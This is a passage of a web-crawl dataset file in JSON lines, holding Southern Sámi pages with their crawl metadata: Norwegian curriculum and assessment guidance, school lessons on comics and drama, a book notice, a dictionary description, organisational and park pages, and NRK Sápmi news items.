nöörjen learoehkidie saemiengïeline voestesgïeline. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh jïjtsh faageles evtiedimmien bijjelen ussjedadtedh. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sijjen njaalmeldh jïh tjaaleldh tjiehpiesvoeth faagesne guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/kompetansemaal-og-vurdering\/kv140?lang=sma","date":"2024-02-28T07:04:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00619.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":183,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh saemiengïelesne voestesgïeline jåa2 – studijeryöjreden ööhpehtimmieprogrammesne gosse faageles teemaj bïjre gaskesedtieh jïh dej ovmessie njaalmeldh jïh tjaaleldh teeksti bijjeli ussjededtieh båarasåbpoe jïh urrebe tïjjeste, ovmessie meedijinie jïh sjangerinie. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse daajroeh saemien gïelen, kultuvren jïh siebriedahken bïjre nuhtjieh gosse sisvegen bijjelen ussjededtieh jïh jïjtjh ovmessie teeksth sjugniedieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse faageles teemah goerehtieh laejhtehks gaaltijeåtnojne jïh dam åehpiedehtieh njaalmeldh jïh tjaaleldh teekstine tjïelke gïeline jïh hijven struktuvrine jïh ektiedimmine, mah sjangerasse jïh aajkose sjiehtieh. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse nuepiem åadtjoeh faageles kriterijh jïh mubpiej bååstedebïevnesh jïh daajroeh gïelen bïjre nuhtjedh goh systeeme, juktie jïjtsh njaalmeldh jïh tjaaleldh teeksth evtiedidh.\nLohkehtæjja edtja sjïehteladtedh learohkh åadtjoeh meatan årrodh tsevtsedh jïh lïeremelastose skreejrehtidh gosse learohkh åadtjodh jïjtsh gyhtjelassh darjodh jïh faagesne kreatijvelaakan barkedh jïh goerehtidh. Lohkehtæjja edtja sjïehteladtedh guktie learohkh vïssjelesvoetem stuerebe barkojne evtiedieh, mejtie lea lohkeme guhkebe teekstijste jallh faageles gyhtjelassh goerehtidh. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre saemiengïelesne voestesgïeline soptsestalledh, jïh learohke edtja nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh soptsestidh maam dååjroeh haalvoeh, jïh jïjtsh evtiedimmien bijjelen faagesne ussjedadtedh. Lohkehtæjja edtja bïhkedidh guktie learohke maahta vielie lïeredh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedimmiem nuhtjedh jïjtsh njaalmeldh jïh tjaaleldh teeksth guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/kompetansemaal-og-vurdering\/kv207?lang=sma","date":"2024-02-25T19:54:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474641.34\/warc\/CC-MAIN-20240225171204-20240225201204-00079.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":224,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bok om sørsamiske barmkleder.\nDen gir et kort historisk innblikk om tradisjonelle sørsamiske barmkleder, og hvordan sy et barmklede. Omvalg av materiale, mønsterlaging og syinga steg-for-steg.\nBoka er skrevet for elever på videregåendetrinn, men passer også for andre som er interessert i å lære å sy boengeskuvmie.\nSørsamisk tekst.\nBoengeskuvmie åarjelsaepmesne åadtjoeh åenehks histovrijes goerkelimmie aerpievuekien åarjelsaemien boengeskuvmie bïjre, jïh guktie maahtah boengeskuvmie gåarodh; maallh darjodh jïh gåarodh, sïlleste sïllese. Gærjam learoehkidie jåarhkeskuvlesne sjeahta, mohte aaj gaajhkesidie gieh sijhtieh lïeredh guktie åarjelsaemien boengeskuvmie maahtah gåarodh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/samiskbibliotektjeneste.tromsfylke.no\/2023\/05\/09\/hanne-lena-wilks-boengeskuvmie-aarjelsaepmesne\/","date":"2024-04-14T21:36:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816893.9\/warc\/CC-MAIN-20240414192536-20240414222536-00016.warc.gz","language":"sma","language_score":0.997507751,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9975077509880066}","num_words":85,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nöörjen Saemiej Rïjhkesiebrie\nSaernieh\nDaesnie maahtah vuejnedh mejnie barkeminie.Gaajhkh artihkelh\nNytt styre 2024Lohkh vielie\nHva betyr \"kraftpakken\" for Finnmark og Nord-Norge?Lohkh vielie\nSom et forsonende tiltak: Styrk reindriftens innsigelsesrettLohkh vielie\nFornorskningens konsekvenser på samisk meahcásteapmiLohkh vielie\nBåetije deahpadimmieh\nVuartesjh maam deahpede organisasjovnesne.Gaajhkh deahpadimmieh\nBuerie båateme mijjese!\nDåeredh NSRm datne aaj! Sjïdth lïhtseginie jïh seedth SMSm 2090 gåajkoe teekstine NSR MEDLEM nomme årromesijjie e-påaste reakedsbiejjien jallh tjaelieh daennie tjaalegisnie.\nMaahtah aaj lïhtseginie sjïdtedh jis maaksah 150,- vippsen tjïrrh jallh 50,- (noerh nuerebe goh 26 jaepien båeries) nummerasse NSR 69515. Tjaelieh aaj dov nomme, årromesijjie, e-påaste jïh reakedsbiejjie.\nLïhtseginie Dåarjoeh mijjem","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/nsr.no\/sma\/","date":"2024-04-19T12:24:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817398.21\/warc\/CC-MAIN-20240419110125-20240419140125-00809.warc.gz","language":"sma","language_score":0.9999679327,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999679327011108}","num_words":94,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Demokratije, meatanårrojevoete jïh faamoedehteme\nDemokraateles aarvoeh maehtieh vuestievæktojne årrodh åvtelhaarvoej jïh sïerredimmien vööste. Maam dah sijhtieh jiehtedh? Mah konsekvensh daate skuvlen ööhpehtæmman åådtje?\nMaahta demokratijem joekehtslaakan guarkedh, men ektie åssjaldahke lea gaajhkesh maehtieh meatan årrodh sjæjsjalimmieprosessine, seamma reaktajgujmie. Daate seahkarimmiem jïh dijalogem gaskemsh kreava.\nÅvtelhaarvoeh jïh dåehkievædtjanvoete dan åvteste demokratijem haestieh. Seamma tïjjen demokratije, desnie gusnie årrojh dååjroeh sijjieh rïektesisnie åadtjoeh meatan årrodh, maahta daerpiesvoeth illedh mah aaj leah tjarke faamoeh ekskludeereden vuajnoej duekesne. Demokratije maahta åvtelhaarvoeh jïh ålkoestimmiem vuastalidh, mïsse bijjemes bielie aaj tjuvtjede.\nFaamoedehteme lea lïhke vïedteldihkie demokratijese. Daate leajhtadimmien bïjre ihke almetjh leah jïjtjeraarehke jïh maehtieh jïjtsh veeljemh vaeltedh, solidariteetesne gaskemsh. Skuvlesne dovne demokratije jïh faamoedehteme vïedteldihkie åssjaldahkese gosse learohkh leah meatan muenieh dellie dïhte edtja våajnoes årrodh skuvlen barkosne.\nLearohkh edtjieh amma jïjtjh åadtjodh demokratijem jïh meatanårromem dååjredh. Dah edtjieh demokratijem lïeredh dååjrehtimmiej tjïrrh skuvlesne. Lïereminie ektine demokratijen bïjre daate learoehkasse maahtoem vadta darjodh jïh meatan årrodh goh demokraateles meatanårrojh.\nDaan teeman nuelesne tjïelke tipsh jïh duekiebïevnesh gaavnh gaskem jeatjah demokratijen, faamoedehtemen jïh meatanårrojevoeten bïjre. Lissine gellie darjomh jïh ööhpehtimmiesoejkesjem ööhpehtæmman gaavnh dovne demokratijen bïjre, demokratijen tjïrrh jïh demokratijen åvteste.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dembra.no\/sma\/tema\/demokrati-medborgerskap-og-kritisk-tenkning","date":"2024-04-22T00:44:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00543.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":184,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Turiste\nGaajhkesh maehtieh Skarvan jïh Roltdalen åålmegemiehtjesne fealadidh, jïh daesnie mijjieh dutnjien bïevnesh vedtebe dej åajvoeh sijjiej bïjre mejtie maahtah vaaksjodh, jïh maam maahtah darjodh.\nDatne bïevnesh gaavnh dej darjomi bïjre mejtie maahta darjodh, mejtie maahtah åålmegemiehtjesne jïh åålmegemiehtjien byjreskisnie vuejnedh, gusnie maahtah jijjedidh jïh gusnie maahtah hearskoes beapmoem byøpmedidh. Daesnie aaj bïevnesh åålmegemiehtjien vuekiej bïjre gaavnh.\nKaarhth Skarvan jïh Roltdalen åålmegemiehtjien bijjelen leah Eatnemereeremen direktovraten gåetiesæjrojne, jïh daesnie aaj vuajna gusnie dah tsïeglesjamme baalkah jïh turistesiebrien hæhtjoeh leah.\nDaate akte hijven sijjie aelkedh gosse edtjede soejkesjidh dajvesne guessine mïnnedh.\nLaavkome Rotlesne. Guvvie: Christine Svarva Nielsen","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/Turist.aspx","date":"2013-05-23T14:03:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703326861\/warc\/CC-MAIN-20130516112206-00034-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":96,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ruvtah\nAktene guvvie-raajrosne ruvtah maehtieh ovmessie hammoeh utnedh. Gamtoe-hammoe (gællan hammoe) uvtemes åtnasåvva gosse edtja jïjnjem vuesiehtidh ruvtine. Daate hammoe sjeahta gosse edtja eatnemem, byjresh jïh stuerebh almetje-veahkah vuesiehtidh. Jalloe-hammoe (tjåadtjoen hammoe) ij dan jïjnjem guvvesne utnieh. Maaje ajve akte jallh naan gille almetjh.\nJeatjah hammoeh\nJeatjah hammoeh åtnasuvvieh gosse sæjhta sisvegem veaksahkåbpoe darjodh, naemhtie guktie lea dorjeme biehkesne seerijistie Batman. Ruvta-hammoe jïjtjemse dahkose sjïehtede.\nDaesnie golme guvvieh ruvtesne mah vuesiehtieh gie akt gahtja jïh akte beerkeme-aksjovne elmesne. Guvvieh edtjieh tjïelkelaakan vuesiehtidh gaajhke spaajhte jïh våålese deavan vööste heannede.Dovne doh vealoeh linjah mah guvviem juekieh, jïh mennie haeresne guvvieh lohkesuvvieh - guvvieh lohkesuvvieh bijjielistie jïh våålese - lohkijem viehkiehtieh gahtjemem dååjredh.\nJienebh ruvtah sinsitnien nelnie\nRuvtah eah daarpesjh sinsitnien baalte tjåadtjodh. Muvhten aejkien vaajese soptsesåvva viehkine ruvtijste mah leah jeatjah guvviej bijjelen.\nStuhtjesne Miracleman guvviedæjja stoerre guvvine aalka aktede jeetnjeste mij Miracleman'en uvte tjåådtje. Dan mænngan guvviedæjja tjelmide beaja Miracleman'ese. Dïhte jïjtse ruvtah åådtje, jïh ruvtaj stoeredahke læssene dramatihken mietie.\nLåtnoehtimmie hammoen jïh stoeredahken gaskem\nAktene seerijisnie gusnie joekoen jïjnje heannede lea vihkeles dej ovmessie ruvta-hammoej gaskem låtnoehtidh, jïh maaje dejtie smaave ruvtide nuhtjedh gosse edtja veelelaakan buerkiestidh mij heannede åenehks boelhkine.\nSåemies jeerehtsh leah amma læjhkan daerpies olles lohkije tuhtjh daate akte-laaketje jïh ovrovne sjædta.\nBaakoeh\nruvta\nrute\ngamtoe-hammoe\nbreddeformat\njalloe-hammoe\nhøydeformat\nbeerkeme-aksjovne\nbergningsaksjon\njeatjah hammoeh\nandre format\nlåtnoehtimmie\nveksling\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive kreative tekster med bruk av ulike språklige virkemidler\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172763?fag=126960","date":"2017-03-25T07:57:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188891.62\/warc\/CC-MAIN-20170322212948-00561-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9998592138,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998592138290405}","num_words":285,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guvvie-raajroe\nGuvvie-raajroe lea jïjtjemse evtiedamme jeatjah meedije-sjangerigujmie goh filme jïh TV. Nöörjesne jienebh åehpies jïh væjkeles seerije-sjugniedæjjah utnebe, mah aaj åadtjoeh sijjen guvvie-raajroeh ålkoe-laantesne bæjhkoehtidh. Frode Øverli (Pondus) jïh Lise Myhre (Nemi) leah göökte dejstie. Mijjieh aaj seerije-sjugniedæjjah utnebe mah saemien byjrehkistie guvviedieh goh Ronardo jnv.\nViehkie-dïrregh\nDatne maahtah daejtie viehkie-dïrregi bïjre lohkedh mah guvvie-raajrojne nuhtjeme\n- Ruvtah\n- Boblah jïh effekte-tjoejh\n- Guvvie-biehkie\n- Guvvie-haerie\n- Subjektijve guvvie\n- Åvte jïh duekie\n- Stuerebh baakoeh\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive kreative tekster med bruk av ulike språklige virkemidler\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172761?fag=126960","date":"2017-03-30T04:54:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00093-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9986740351,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9986740350723267}","num_words":135,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien baakoegärjan bïjre\nGärja eelki goh åarjelsaemien baakoegärjaprosjekte. Dan männgan jåhtaji saemiedigkien vuelesne, beetneh-vierhtieh Saemien gïelemoenehtsistie Kautokeino´sne.\nBaakoeïebniem\nBaakoeïebniem lea joekoen Ella Holm Bull´en gärja- jïh baakoelästojste. Baakoeh leah aaj veadtjeme dejstie gärjijste \"MOV 1000 BAAKOEH\" Saemien ööpehtimmieraerie Alta 1998, BAAKOE-LÄSTOE nr. 2\/97 Sameien gieleraerie. Såemies baakoeh aaj \"GÄRJIJSTE VAALTEME\" (nöörjen gïele\/åarjelsaemien baakoelästoe) Brustaden Tove´ste, Aarporte. Paul Klemmetsson, Gäjka, lea govlehtoeveme ovmessie baakoej bïjre jïh dej jarkoestimmieh. Mohtedimmieh leah dorjeme Knut Bergsland & Laila Mattson Maggan baakoegärjese \"Åarjelsaemien - daaroen baakoegärja\", Alta 1993.\nDeadtoemierie\nBaakoetjåanghkoen deadtoemierie lea dejnie åarjakåbpoe åarjelsaemien smaaresinie, vualtjeri luvhtie jïh åarjelen. Såemies upmejesaemien sijjienommh gååvnesieh. Dah sijjienommh mah leah tjaaleme SaU leah joekoen tjaalemevuekine gie professovre Olavi Korhonen dorjeme dan upmejen dajvese.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ordbok.sametinget.se\/1022?lang=ss","date":"2017-04-29T05:30:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123276.44\/warc\/CC-MAIN-20170423031203-00203-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9997678399,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997678399085999}","num_words":110,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Draama\nBoelhke jïh scena\nDovne teatere-vuasastallemisnie jïh filmesne heannadimmieh daamtaj boelhkine jïh scenine juakeme, vuesiehtimmien gaavhtan biejjeste jïjjese jallh sijjeste sæjjan.\nDraama\nTeatere-scenesne jallh filmesne dellie almetjh soptsestieh, mij draamine sjædta. Draama lea seamma guktie dahkoe. Dahkoe lea dam maam maehtebe filmesne jallh teatere-scenesne vuejnedh. Dahkoe aerpievuekie-draamesne juakeme boelhketjisnie. Dahkoe kronologijen mietie jåhta, men naan aejkien maehtebe vuejnedh mij aerebi heannadamme jïh mij maahta heannadidh.\nRåållah\nDraamesne gellie almetjh maehtieh meatan årrodh mah unnebe jallh stuerebe råållah utnieh. Dah maehtieh draaman mietie jorkesidh jallh dah maehtieh seammalaakan draaman tjïrrh årrodh. Men aktene draamesne aaj ajve akte dorjehtajja maahtea meatan årrodh, vuesiehtimmie gaavhtan teatere-vuasastalleme Elsa Laulan bïjre. Daennie vuasastallemisnie Elsa sov jielemen bïjre soptseste.\nLearoe-baalka\nDaennie kapihtelsinie akte learoe-baalka mejnie maahtah bakedh:\n- Draama","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/176552?fag=126960","date":"2017-05-24T10:14:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00157.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":122,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Oppgave: Drøfte\nGyhtjelassh tjaalegasse \"Mov aahkan gåetie jïjnjh tjïehtjelh\"\nLaavenjasse\nLohkh novellam \"Mov aahkan gåetie jïjnjh tjïehtjelh \" jïh vaestedh gyhtjelasside.\n- Mij lea novellan teema?\n- Novellan nomme lea \"Mov aahkan gåetie jïjnjh tjïehtjelh\". Maam datne vïenhth tjaelije sæjhta dejnie tihtelinie jiehtedh?\n- Guktie vuajnoe novellesne? Manne- jallh dïhte-hammosne? Man åvteste tjaelije daam hammoem veeljeme vïenhth?\n- Buerkesth åejvie-almetjidie.\n- Buerkesth boelhketjem, gusnie gïerege-mierie.\n- Buerkesth boelhketjem gusnie jarkelimmie-mierie.\n- Mejnie byjresinie heannadimmie heannede?\n- Buerkesth aktem boelhketjem gusnie tjoerh novellam toelhkestidh jïh linjaj gaskesne lohkedh.\n- Naan ierielimmie novellesne?\n- Tjaelieh åenehkslaakan dov mïelem novellan bïjre jïh buerkesth dov vuajnoem.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive tekster med tema og fagterminologi tilpasset eget utdanningsprogram etter mønster fra ulike eksempeltekster\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/174099?fag=126960","date":"2017-05-24T10:21:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00108.warc.gz","language":"sma","language_score":0.9958794713,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9958794713020325}","num_words":173,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåasen tjïelte, daan gïele reereme dajvese, jaepien 2008 meatan sjidti. Snåasen tjïelte guhkemes, guektien gïelen tjïelte orreme, åarjelsaemien dajvesne. Daelie jeatjah tjïelth sijtieh båatedh jih barkoe raeriem, Snåasen tjïelteste åadtjodh. Daan våhkan dellie govhte ektiedæjjah Sveerjen bieleste, Snåasen tjïeltem guessiedin.\nStoerre barkoe Sveerjesne.\nSanna L Streuka, ektiedæjja Kraapohken tjïelteste dihte tuhtjie geerve jih jijtjen tjïeltesne barkedh.\n– Gaajh barkoes jih geerve jih mov tjïeltem jaksedh. Jih nemhtieh govlem jeatjah tjïeltijne aaj. Luste daesnie vuejnedh, guktie Snåasen tjïelte barkoeminie maana giertene jih aaj magkeres viehkie dihte båarasåabpoe boelve åadtjoeh , jeahta Streuka.\nSveerjen bielesne dellie uktsie åarjel saemien tjïelth meatan gïele reereme dajvesne. Daejtie tjïeltijde dogh daaghk gaevnieh.\nNedte-viermie tjieltiej gaskem.\nDah leah nedte sijjiem (Praedtie) øørneme, mij edtja daam gïele barkoem ektiedidh. Fïerhte tjïelte åtna aktem ektiedæjjam, dah nuepiem utnieh, golme, nielje aejkien jaepesne råakedidh.\nKarin Rensberg Rihpa ektiedæjja Heerjedaelien tjïeltesne, dihte vuajna joekehtsem Sveerjen gon Nøørjen tjïeltiej gaskem.\n– Snåasesne guhkebe jakseme! Vuajna dah gåetie mierhkh, geajnoe skilth jih jijnje vielie. Mijjieh daelie guvviedamme, edtjebe åejvide vuesiehtidh.\nSveerjesne daate gïele-laake orre jih Rensberg- Rihpa vuajna dihte haesteme stoerre Sveerjen bielesne.\n–Snåasesne dellie jienebh saemieh tjåanghkoesne årroeminie. Mijjien luvnie Heerjedaelesne dellie saemieh haasenamme. Dihte støøremes saemien voene lea Bienjedaelie, dah jeatjah tjïelth aaj daarpasjieh saemien learerh jih jeatjah saemien barkije almetjh. Dellie guhkie gaskem sjædta. Dihte støøremes tjoepere lea jih almetjh gaavnedh, mij saemien gïelem maehtieh jeahta Rensberg Rihpa.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/sveerjen-tjieltij-ektiedaejjah-1.11902852","date":"2017-08-19T06:01:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105304.35\/warc\/CC-MAIN-20170819051034-20170819071034-00245.warc.gz","language":"sma","language_score":0.9999662638,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999662637710571}","num_words":225,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daam minngie-tjaalen bijre, daan biejjien FN sne nænnoestamme\nDaan tjaalegen bijre, staati gaskem raarastalleme. Daate tjaalege lea råresjimmie FNen tjijtje, aalkoealmetji dåehkie gaskem.\nDaan tjaalegisnie tjåadtjoe daan Alta-tjaalegen bijre, dihte voestemes rååresjimmie tjåanghkoe Altasne, jaepien 2013.\nDaate minngie-tjaalegen ulmie lea, jih daejtie nænnoestimmie aamhtside, aalkoealmetji reaktoe bijre edtja dorjesovvedh, guktie generale almetje-krirrie jaepien 2007 nænnoestamme.\nAkte dejstie vijkelommes paaragraafijste, minngie-tjaalegisnie lea alkoealmetji reaktoe eatnemisse. Ij åadtjh eatnemene dååsveridh jis ij alkoealmetjh luhpiedamme.\nDah staath, tjuerieh dah aalkoealmetji institusjovni gujmie laavenjostedh, eannan daejtie laanti laagide nænnoestieh, jih jeatjah råajvarimmie mij maahta nåake aalkoealmetjidie sjidtedh.\nTjuerieh laavenjostedh.\nDaah laanth tjuerieh dah aalkoealmetji gujmie laavenjostedh jih daejtie nasjonaale gietedalleme soejkesjidie jih barkoevuekide evtiedidh, guktie tjaalegisnie tjåadtjoeh.\nAarvoe FNsne nænnoestidh.\nDaan minngie-tjaalegisnie edtja generaletjaelije raeriestidh, guktie dah aalkoealmetji åårganisasjovnh edtjieh FN vuestieh barkedh.\nLohkh aaj:Enstemmighet på verdenskonferansen","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/fn-tjaalegen-bijre-latjkeme-1.11947784","date":"2017-10-22T10:07:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187825174.90\/warc\/CC-MAIN-20171022094207-20171022114207-00221.warc.gz","language":"sma","language_score":0.9999850988,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999850988388062}","num_words":131,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dæjsta ruffien 3.b. Jernbaneverket, båatsoesaemieh, Saemiedigkie jih fylhkeålma Noerhtelaantesne jih Noerhte trøøndelaagesne tjåangkenin.\nRuevtieraajroe bovtside njeervie, noerhtelaanten ruevtie geajnoen mietie. Daan jaepien, gøøkte stoerre tsiehkien medtesne njeerveme. Daelie lea Jernbaneverket daam sijjien darjomes soejkesjem, båetien golme jaepieh vuesiehtamme.\nIj naan lissie beetneh -vierhtieh giedtie boerovide.\nOla Bjerkaas, viehkie fylhkeålma Noerhtelaantesne, laajhta daam darjome soejkesjem.\n– Eah leah man bijre laatjkeme. Ij leah daate soejkesje nuekies guktie Jernbaneverket daelie vuesiehtamme. Ij leah naan lissie beetnegh giedtie boerovide! jeahta Ola Bjerkaas.\nJernbane verket ,sæjhta ryøjnesjimmie beetneh- vierhtie jih haepkie viehkiem muvhth sijtide faaledh.\nHaepkine tjøønghkedh.\n– Mijjieh giedtieboerovem Saltfjellesne tseekeme jih dæjman eelkin Holmvassdaelesne tseekedh. Tjoeveribie daan bijre goerehtidh jis daate hojhte dihte bøøremes viehkie båatsoesaemide, jeahta byjreseraeriestæjja Astrid Busengdal.\n- Lohkh aaj: Drap langs 